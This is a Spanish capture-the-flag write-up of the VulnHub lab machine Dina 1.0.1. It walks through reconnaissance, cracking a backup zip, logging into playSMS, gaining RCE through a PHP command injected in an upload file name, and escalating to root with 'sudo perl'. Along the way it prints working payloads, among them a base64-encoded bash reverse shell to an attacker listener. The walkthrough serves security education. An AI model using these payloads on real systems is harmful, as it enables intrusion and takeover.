Dina 1.0.1 - Vulnhub

DESCRIPCION

En este post vamos a realizar el ctf de la máquina Dina 1.0.1, utilizaremos técnicas de reconocimiento, fuerza bruta, una vulnerabilidad que explota un formulario con el cual conseguiremos RCE, y escalada de privilegios a través de sudo.

INDICE

RECONOCIMIENTO

Empezaremos con el típico reconocimiento con nmap a la ip de la máquina víctima, en este caso 192.168.1.63.

nmap --open -p- -T5 192.168.1.63 -oG Puertos
Nmap scan report for 192.168.1.63
Host is up (0.00026s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.52 seconds


Solo hemos encontrado un puerto abierto, en este caso se trata de un servido web montado sobre el puerto 80. Vamos a lanzarle los scripts más comunes que tiene nmap con:

cat Objetivos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: Objetivos
       │ Size: 933 B
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ nmap -sCV -O -p 80 -Pn -oN Objetivos 192.168.1.63
   2   │ Nmap scan report for 192.168.1.63
   3   │ Host is up (0.00020s latency).
   4   │ #!/bin/bash
   5   │ PORT   STATE SERVICE VERSION
   6   │ 80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
   7   │ |_http-title: Dina
   8   │ |_http-server-header: Apache/2.2.22 (Ubuntu)
   9   │ | http-robots.txt: 5 disallowed entries 
  10   │ |_/ange1 /angel1 /nothing /tmp /uploads
  11   │ MAC Address: 08:00:27:FC:43:A5 (Oracle VirtualBox virtual NIC)
  12   │ Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  13   │ Device type: general purpose
  14   │ Running: Linux 2.6.X|3.X
  15   │ OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
  16   │ OS details: Linux 2.6.32 - 3.5
  17   │ Network Distance: 1 hop
  18   │ 


El resultado no sería muy interesante, excepto por un archivo encontrado con un script de nmap, robots.txt. Este archivo sugiere al buscador que no indexe las urls encontradas dentro de este archivo .txt, pero hay que tener mucho cuidado, ya que al ser un archivo público cualquiera puede consultarlo, vamos a echarle un ojo en ‘http://192.168.1.63/robots.txt’:

RECONOCIMINETO WEB

Robots.txt

User-agent: *
Disallow: /ange1
Disallow: /angel1
Disallow: /nothing
Disallow: /tmp
Disallow: /uploads

Interesante, vemos distintos directorios los cuales podemos visitar, vamos a ver que encontramos.

a few minutes later

Una vez revisados todos los directorios, el unico que parece util es /nothing veamos que contiene:

Pues hasta la propia página nos lo dice, aquí no hay nada, vámonos…
¡No tan rápido!
¿Muy sospechoso no crees?
A ver ese código fuente:

<html>
<head><title>404 NOT FOUND</title></head>
<body>
<!--
#my secret pass
freedom
password
helloworld!
diana
iloveroot
-->
<h1>NOT FOUND</html>
<h3>go back</h3>
</body>
</html>

¡Sorpresa! Teníamos un diccionario escondido en el html en forma de comentario, y pensar que casi nos íbamos con las manos vacías. Vamos a guardar estas credenciales que nos vendrán bien en un futuro. No parece que tengamos más hilo del que tirar, vamos a intentar encontrar más directorios utilizando fuerza bruta, voy a usar WFUZZ para esta tarea.

WFUZZ

wfuzz -c --hc 404 -u http://192.168.1.63/FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.63/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                       
=====================================================================

000000003:   200        199 L    429 W      3618 Ch     "# Copyright 2007 James Fisher"                                                                                                               
000000007:   200        199 L    429 W      3618 Ch     "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"                                                                             
000000015:   200        199 L    429 W      3618 Ch     "index"                                                                                                                                       
000000014:   200        199 L    429 W      3618 Ch     "http://192.168.1.63/"                                                                                                                        
000000012:   200        199 L    429 W      3618 Ch     "# on at least 2 different hosts"                                                                                                             
000000011:   200        199 L    429 W      3618 Ch     "# Priority ordered case-sensitive list, where entries were found"                                                                            
000000004:   200        199 L    429 W      3618 Ch     "#"                                                                                                                                           
000000002:   200        199 L    429 W      3618 Ch     "#"                                                                                                                                           
000000009:   200        199 L    429 W      3618 Ch     "# Suite 300, San Francisco, California, 94105, USA."                                                                                         
000000008:   200        199 L    429 W      3618 Ch     "# or send a letter to Creative Commons, 171 Second Street,"                                                                                  
000000006:   200        199 L    429 W      3618 Ch     "# Attribution-Share Alike 3.0 License. To view a copy of this"                                                                               
000000010:   200        199 L    429 W      3618 Ch     "#"                                                                                                                                           
000000005:   200        199 L    429 W      3618 Ch     "# This work is licensed under the Creative Commons"                                                                                          
000000013:   200        199 L    429 W      3618 Ch     "#"                                                                                                                                           
000000164:   301        9 L      28 W       314 Ch      "uploads"                                                                                                                                     
000000853:   301        9 L      28 W       313 Ch      "secure"                                                                                                                                      
000001765:   200        6 L      12 W       102 Ch      "robots"                                                                                                                                      
000000001:   200        199 L    429 W      3618 Ch     "# directory-list-2.3-medium.txt"                                                                                                             
000003237:   301        9 L      28 W       310 Ch      "tmp"                                                                                                                                         
000010575:   301        9 L      28 W       314 Ch      "nothing"


¿Secure? Veamos si es tan seguro como indica el nombre.


Con que una copia de seguridad, vamos a descomprimirla con 7z x backup.zip a ver que encontramos.

Scanning the drive for archives:
1 file, 336 bytes (1 KiB)

Extracting archive: backup.zip
--
Path = backup.zip
Type = zip
Physical Size = 336

    
Enter password (will not be echoed):

FUERZA BRUTA


Nada, se necesita contraseña, aquí hemos acabado… ¡Espera! Tenemos el diccionario que se encontraba en http://192.168.1.63/nothing/ vamos a probar con la primera contraseña ‘freedom’:

Enter password (will not be echoed):
Everything is Ok      

Size:       176
Compressed: 336

¡A la primera! Eso sí que es suerte, veamos que contiene  backup-cred.mp3 un archivo mp3, ¿qué será? Parecen ser más credenciales en formato audio, vamos a escucharlo:


Eso sí que ha sido un buen intento, ha ocultado la extensión del archivo .txt haciéndolo pasar por una pista de audio. Habrá que ver que nos encontramos:

───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: backup-cred.mp3
       │ Size: 176 B
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ I am not toooo smart in computer .......dat the resoan i always choose easy password...with creds backup file....
   3   │ 
   4   │ uname: touhid
   5   │ password: ******
   6   │ 
   7   │ 
   8   │ url : /SecreTSMSgatwayLogin
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────


¡Tenemos un usuario y un nuevo directorio! La contraseña parece no encontrarse en este archivo. Visitamos http://192.168.1.63/SecreTSMSgatwayLogin/.


Un panel de login, recordamos que tenemos un posible usuario touhid y un diccionario con diferentes credenciales freedom, password, helloworld!, diana, iloveroot. Vamos a probar por fuerza bruta a ver si tenemos suerte.

Diccionario

freedom ERROR
password ERROR
helloworld! ERROR
diana BINGO
iloveroot ERROR

EXPLOTACION DE PLAYSMS


La contraseña era diana, en este momento hemos accedido al panel del usuario touhid, una vez aquí podemos estudiar los diferentes vectores de ataque que tiene playSMS, toca googlear. Investigando sobre playSMS encontré diferentes vías de ataque que te daban acceso directo a la máquina en Metasploit, pero en mi opinión pierde un poco la gracia, por lo que seguí investigando hasta que di con este exploit:

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                               |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload                                                                                           | php/webapps/42003.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------


Esta vulnerabilidad se resumen en obtener RCE a través de un formulario, el cual nos permite “subir” archivos al servidor, pero el RCE no es el contenido del archivo, ya que no se almacena en el servidor, es el nombre, es decir, poniendo de nombre al archivo <?php system('uname -a'); dia();?>.php se ejecutará el comando en el servidor:

Formulario

Resultado


¡Bum! RCE exitoso. En este momento podemos enviar una reverse shell en el nombre del archivo y tendríamos conexión a la máquina víctima. Voy a utilizar burpsuite para interceptar la petición, modificar el payload y enviarlo al servidor

Burpsuite

Injeccion reverse shell

Podríamos pensar que siguiendo este método obtendríamos la shell, pero cualquier comando que utilice / nos da un error, por ello investigando diferentes formas de evitar el uso de / dí con la clave, gracias a NetOsec, enviar el comando en base64.

La sintaxis para transformar una cadena de texto a base64 es: echo -n "cadena" | base64.

La reverse shell en base64 quedaría tal que así bash -i >& /dev/tcp/192.168.1.84/1234 0>&1 = YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuODQvMTIzNCAwPiYx.

Nos ponemos por escucha en el puerto indicado e inyectamos el comando en base64, le pasamos el párametro -d para decodificarlo a texto plano y lo pipeamos con bash para que el servidor ejecute la reverse shell en bash. Nos quedará tal que así: echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuODQvMTIzNCAwPiYx-n | base64 -d | bash

Escucha con NetCat

❯ nc -lvnp 1234
listening on [any] 1234 ...

Inyectar reverse shell con burpsuite

Dejamos pasar la petición con la shell inyectada y….

❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.84] from (UNKNOWN) [192.168.1.63] 51716
bash: no job control in this shell
www-data@Dina:/var/www/SecreTSMSgatwayLogin$ 

Todo un exito, en este momento solo nos queda la escalada de privilegios.

ESCALADA DE PRIVILEGIOS

Vamos a ver si tenemos algún permiso de super usuario como www-data con sudo -l.

sudo -l
Matching Defaults entries for www-data on this host:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on this host:
    (ALL) NOPASSWD: /usr/bin/perl
www-data@Dina:/var/www/SecreTSMSgatwayLogin$ 


Pues por lo que se ve, esta escalada de privilegios no va a durar mucho… Tiramos de GTFOBins

www-data@Dina:/var/www/SecreTSMSgatwayLogin$ whoami
whoami
www-data
www-data@Dina:/var/www/SecreTSMSgatwayLogin$ sudo perl -e 'exec "/bin/sh";'
sudo perl -e 'exec "/bin/sh";'
whoami
root

Se acabó la escalada, esta vez ha sido sencilla y directa.

FLAG

Con permisos root nos dirigimos al directorio /root/ y leemos la flag

cat flag.txt
________                                                _________
\________\--------___       ___         ____----------/_________/
    \_______\----\\\\\\   //_ _ \\    //////-------/________/
        \______\----\\|| (( ~|~ )))  ||//------/________/
            \_____\---\\ ((\ = / ))) //----/_____/
                 \____\--\_)))  \ _)))---/____/
                       \__/  (((     (((_/
                          |  -)))  -  ))


root password is : hello@3210
easy one .....but hard to guess.....
but i think u dont need root password......
u already have root shelll....


CONGO.........
FLAG : 22d0xxxxxxxxxxxxxxxxxxxxxxxxxxxx

CONOCIMIENTOS OBTENIDOS

De esta máquina podemos extraer los siguientes conocimientos:

  • Reconocimiento con nmap.
  • Reconocimiento de directorios web utilizado WFUZZ.
  • Explotación de un formulario consiguiendo RCE.
  • Uso de Burpsuite para modificar las peticiones.
  • Escalada de privilegios a través de sudo.

AUTORES Y DESCARGA

El autor de esta máquina es Touhid Shaikh, muchas gracias por la creación de Dina 1.0.1 aportando a la comunidad. Twitter, WEB

Autor del write up: Luis Miranda Sierra.

Podéis descargar la máquina desde aquí VulnHub